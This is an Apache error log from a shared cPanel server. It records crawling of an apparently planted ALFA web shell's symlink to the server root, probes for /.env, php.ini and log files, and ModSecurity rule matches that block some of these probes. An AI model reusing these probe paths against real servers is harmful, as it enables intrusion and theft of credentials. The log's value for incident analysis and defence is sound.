[Sat Oct 24 15:12:02.564307 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 44.212.106.171:31540] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:12:06.660836 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 52.22.87.224:64113] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:12:08.974995 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 85.208.96.201:14766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_dst_cache/cpu_partial
[Sat Oct 24 15:12:10.663422 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 54.166.126.132:45528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1f/subsystem/devices/device:02/physical_node/rescan
[Sat Oct 24 15:12:14.561455 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.82.214.73:60513] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:12:22.767445 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 54.235.191.179:52610] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:12:22.904049 2026] [authz_core:error] [pid 2677775:tid 2677775] [client 46.224.210.134:25190] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 15:12:22.932890 2026] [security2:error] [pid 2677775:tid 2677775] [client 46.224.210.134:25190] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at0DFg5nrLV5krwbFOTxhAAAAA4"]
[Sat Oct 24 15:12:22.932938 2026] [security2:error] [pid 2677775:tid 2677775] [client 46.224.210.134:25190] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at0DFg5nrLV5krwbFOTxhAAAAA4"]
[Sat Oct 24 15:12:31.017580 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 100.28.44.58:49827] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:12:34.603369 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 3.89.170.186:1692] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:05.0/driver/0000:00:04.0/firmware_node/physical_node/virtio1/driver/module/sections/__bug_table
[Sat Oct 24 15:12:46.630088 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 34.236.185.101:47038] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:12:50.806120 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 52.54.95.127:36022] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:12:55.983368 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 54.85.126.86:4093] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:12:58.628091 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 50.16.248.61:17172] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:13:02.628018 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.204.37.237:61821] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:13:07.771407 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 3.232.82.72:61582] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:13:10.988593 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 54.204.12.115:42740] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:13:14.671915 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 34.234.200.207:7888] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:13:19.620395 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 44.193.102.198:1101] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:13:22.773729 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 54.83.23.103:3727] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:13:26.671138 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.214.186.220:50094] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:13:30.847911 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 52.207.47.227:20369] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:13:34.765307 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 44.194.139.149:10880] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:13:34.829910 2026] [authz_core:error] [pid 2677775:tid 2677775] [client 169.150.196.238:38491] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://curso-de-ventas.com/
[Sat Oct 24 15:13:38.948093 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 52.205.141.124:24106] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:13:42.820569 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 184.73.47.24:10992] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:13:47.310065 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 54.204.12.115:3374] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:13:53.312165 2026] [authz_core:error] [pid 2677788:tid 2677788] [client 40.83.93.179:2948] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 15:13:54.697424 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 52.73.6.26:41952] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:13:59.454409 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 54.84.93.8:54203] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:14:00.915492 2026] [security2:error] [pid 2677788:tid 2677788] [client 40.83.93.179:2948] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "mail.curso-de-ventas.com"] [uri "/.well-known/"] [unique_id "at0DeGHlETSj29Thy_T7qQAAAAM"]
[Sat Oct 24 15:14:00.915554 2026] [security2:error] [pid 2677788:tid 2677788] [client 40.83.93.179:2948] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "mail.curso-de-ventas.com"] [uri "/.well-known/"] [unique_id "at0DeGHlETSj29Thy_T7qQAAAAM"]
[Sat Oct 24 15:14:01.321205 2026] [cgi:error] [pid 2677788:tid 2677788] [client 40.83.93.179:2948] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Sat Oct 24 15:14:02.785497 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 35.172.125.172:28461] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:14:05.652274 2026] [security2:error] [pid 2677776:tid 2677776] [client 43.159.36.180:53850] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at0DfWZJIyiQiKFtr2-5wQAAABU"]
[Sat Oct 24 15:14:06.709490 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.213.85.234:3676] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:14:08.493210 2026] [security2:error] [pid 2677788:tid 2677788] [client 40.83.93.179:2948] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "mail.curso-de-ventas.com"] [uri "/wordpress/wp-admin/maint/"] [unique_id "at0DgGHlETSj29Thy_T7zgAAAAM"]
[Sat Oct 24 15:14:08.493248 2026] [security2:error] [pid 2677788:tid 2677788] [client 40.83.93.179:2948] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "mail.curso-de-ventas.com"] [uri "/wordpress/wp-admin/maint/"] [unique_id "at0DgGHlETSj29Thy_T7zgAAAAM"]
[Sat Oct 24 15:14:12.816480 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 52.54.95.127:44098] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty21/subsystem/tty13/subsystem/ttyS3/flags
[Sat Oct 24 15:14:14.774682 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 184.73.68.20:6376] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:14:17.974186 2026] [security2:error] [pid 2677786:tid 2677786] [client 43.157.156.190:38140] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/sesion1/"] [unique_id "at0DiYQ_eexIMgmxi-uROQAAAAE"]
[Sat Oct 24 15:14:18.631883 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 52.45.92.83:6755] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:14:18.761367 2026] [security2:error] [pid 2684557:tid 2684557] [client 16.216.88.238:8192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/restic_cache.log"] [unique_id "at0DiiLwkWVVQiyMc7N8HgAAAAs"]
[Sat Oct 24 15:14:18.761865 2026] [security2:error] [pid 2684557:tid 2684557] [client 16.216.88.238:8192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/restic_cache.log"] [unique_id "at0DiiLwkWVVQiyMc7N8HgAAAAs"]
[Sat Oct 24 15:14:18.762183 2026] [security2:error] [pid 2684557:tid 2684557] [client 16.216.88.238:8192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/restic_cache.log"] [unique_id "at0DiiLwkWVVQiyMc7N8HgAAAAs"]
[Sat Oct 24 15:14:30.768224 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 100.24.167.60:11182] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:14:39.067345 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 54.80.73.122:35320] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:14:42.717689 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 44.193.115.232:39899] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:14:54.660277 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 23.22.105.143:50112] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:14:58.806990 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 44.217.177.142:55140] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:15:02.812688 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 54.159.98.248:47656] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:15:14.619596 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 44.195.50.71:1655] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:15:18.678803 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 52.200.58.199:21868] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:04/physical_node/virtio0/driver/bind
[Sat Oct 24 15:15:22.855934 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 44.218.170.184:43170] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:15:26.576603 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.225.9.97:42202] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:15:30.697014 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 54.197.178.107:40795] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:03/physical_node/driver/bind
[Sat Oct 24 15:15:34.697559 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 100.29.160.53:17366] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:15:46.800462 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 44.207.252.58:34700] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:15:50.519889 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 3.224.104.67:64191] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:15:54.468622 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 44.213.36.21:17135] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:15:58.648415 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 100.28.57.133:45070] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:16:02.543608 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 34.231.45.47:34645] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:16:14.609031 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 18.213.27.222:55882] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:16:22.392740 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 100.25.120.246:30838] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:16:29.672054 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 185.191.171.19:49898] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/shrink
[Sat Oct 24 15:16:34.232818 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 52.45.92.83:60951] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:16:38.262784 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 3.222.190.107:62845] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input4/subsystem/event2/subsystem/input5/device/driver/pcspkr/driver/unbind
[Sat Oct 24 15:16:42.210620 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 52.204.253.129:36699] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:16:47.665644 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.207.207.36:44533] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:16:54.310732 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 52.70.138.176:65201] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:16:58.388631 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 52.205.222.214:12797] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/subsystem/drivers/atkbd/serio0/firmware_node/physical_node/firmware_node/physical_node1/driver/bind
[Sat Oct 24 15:17:06.428323 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 34.193.2.57:16696] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:17:10.207831 2026] [core:error] [pid 2684557:tid 2684557] (13)Permission denied: [client 44.207.252.58:61829] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node/driver/uevent
[Sat Oct 24 15:17:14.186742 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.234.206.30:27116] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:17:22.221053 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 50.19.102.70:19971] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:17:26.216579 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 54.197.82.195:39572] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:17:34.198216 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 54.89.90.224:35279] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:17:40.243642 2026] [security2:error] [pid 2684557:tid 2684557] [client 106.53.197.44:33158] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at0EVCLwkWVVQiyMc7N8JQAAAAs"]
[Sat Oct 24 15:17:40.244692 2026] [authz_core:error] [pid 2684557:tid 2684557] [client 106.53.197.44:33158] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 15:17:41.860526 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 185.191.171.12:51208] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:17:47.762304 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 185.191.171.15:12752] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_mrt_cache/slabs_cpu_partial
[Sat Oct 24 15:17:50.185507 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 52.205.141.124:63949] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:18:06.491812 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 52.4.213.199:28927] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:18:18.320570 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 23.23.103.31:49232] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:18:38.269803 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.215.61.66:56215] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:18:42.171574 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 54.147.182.90:60476] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:18:49.844490 2026] [core:error] [pid 2677775:tid 2677775] (13)Permission denied: [client 85.208.96.197:49568] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-1k/slabs_cpu_partial
[Sat Oct 24 15:19:10.496055 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.223.134.5:50172] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:19:14.171972 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 54.152.163.42:11868] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:17/subsystem/uevent
[Sat Oct 24 15:19:18.223630 2026] [core:error] [pid 2684559:tid 2684559] (13)Permission denied: [client 98.83.178.66:24519] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:1c/eject
[Sat Oct 24 15:19:22.271593 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 52.73.142.41:3492] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:19:26.158164 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 44.212.145.46:38645] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:19:34.722946 2026] [security2:error] [pid 2684557:tid 2684557] [client 111.230.233.46:58954] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at0ExiLwkWVVQiyMc7N8KQAAAAs"]
[Sat Oct 24 15:19:38.330394 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 54.210.152.179:4718] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:19:54.326526 2026] [core:error] [pid 2684559:tid 2684559] (13)Permission denied: [client 23.23.104.107:28333] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/gpio-clk/unbind
[Sat Oct 24 15:19:58.279077 2026] [ssl:error] [pid 2677775:tid 2677775] (5)Input/output error: [client 18.213.27.222:24141] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:20:06.179390 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 34.194.226.74:10886] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:20:14.192949 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 18.207.79.144:45722] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:20:21.335585 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 185.191.171.12:39048] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_conntrack/sections/__param
[Sat Oct 24 15:20:22.370545 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 52.2.83.227:45702] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:20:26.389138 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 52.2.191.202:19396] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:20:36.004136 2026] [core:error] [pid 2684557:tid 2684557] (13)Permission denied: [client 85.208.96.208:42318] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/cpu_slabs
[Sat Oct 24 15:20:46.161252 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 18.232.12.157:8261] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:20:50.519455 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 85.208.96.208:18382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_conntrack_ftp/sections/__mcount_loc
[Sat Oct 24 15:20:54.188142 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 44.217.177.142:3696] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:21:03.305838 2026] [security2:error] [pid 2677776:tid 2677776] [client 130.12.180.176:43314] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at0FH2ZJIyiQiKFtr2-50AAAABU"]
[Sat Oct 24 15:21:03.306088 2026] [security2:error] [pid 2677776:tid 2677776] [client 130.12.180.176:43314] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at0FH2ZJIyiQiKFtr2-50AAAABU"]
[Sat Oct 24 15:21:03.306336 2026] [security2:error] [pid 2677776:tid 2677776] [client 130.12.180.176:43314] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at0FH2ZJIyiQiKFtr2-50AAAABU"]
[Sat Oct 24 15:21:10.187350 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 34.194.14.255:5966] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:21:34.195283 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.226.34.98:58074] AH02013: coalesce failed to read from data bucket
